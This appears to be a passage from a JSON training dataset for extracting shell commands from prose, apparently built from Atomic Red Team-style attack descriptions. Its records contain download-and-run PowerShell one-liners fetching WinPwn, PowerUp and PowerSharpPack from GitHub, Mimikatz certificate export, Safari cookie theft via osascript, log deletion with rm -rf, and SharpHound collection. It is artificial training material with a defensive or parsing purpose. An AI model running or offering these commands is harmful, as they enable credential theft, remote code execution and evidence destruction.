    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn function can be used to loot local credentials via the PowerShell Kittie technique with the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nobfuskittiedump -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For decoding a base64-encoded string and echoing it to the console, execute this multi-step command: ENCODED=$(echo '#{message}' | b64encode -r -)\nprintf $ENCODED | b64decode -r\necho $ENCODED | b64decode -r\necho $(echo $ENCODED) | b64decode -r\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\n",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | b64encode -r -)\\nprintf $ENCODED | b64decode -r\\necho $ENCODED | b64decode -r\\necho $(echo $ENCODED) | b64decode -r\\necho $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}\\necho $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Mimikatz to dump certificates from the local machine's My store requires executing this command: \"#{mimikatz_exe}\" \"crypto::certificates /systemstore:local_machine /store:my /export\"  exit",
    "output": "{\"command_list\": [\"\\\"#{mimikatz_exe}\\\" \\\"crypto::certificates /systemstore:local_machine /store:my /export\\\"  exit\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify a file's timestamp on MacOS, use the following command: SetFile -m #{target_date} #{target_filename}\n",
    "output": "{\"command_list\": [\"SetFile -m #{target_date} #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This AppleScript command, similar to Atomic Stealer's method, copies Safari BinaryCookies files: osascript -e 'tell application \"Finder\"' -e 'set destinationFolderPath to POSIX file \"#{destination_path}\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'",
    "output": "{\"command_list\": [\"osascript -e 'tell application \\\"Finder\\\"' -e 'set destinationFolderPath to POSIX file \\\"#{destination_path}\\\"' -e 'set safariFolder to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")' -e 'duplicate file \\\"Cookies.binarycookies\\\" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For monitoring camera access, use these registry commands: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\webcam\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\\nreg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\webcam\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerSharpPack's Watson functionality helps identify missing Windows patches when you use the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')\nInvoke-watson",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')\\nInvoke-watson\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove system and audit logs, use the following command: sudo rm -rf #{syslog_path}\nif [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi",
    "output": "{\"command_list\": [\"sudo rm -rf #{syslog_path}\\nif [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item 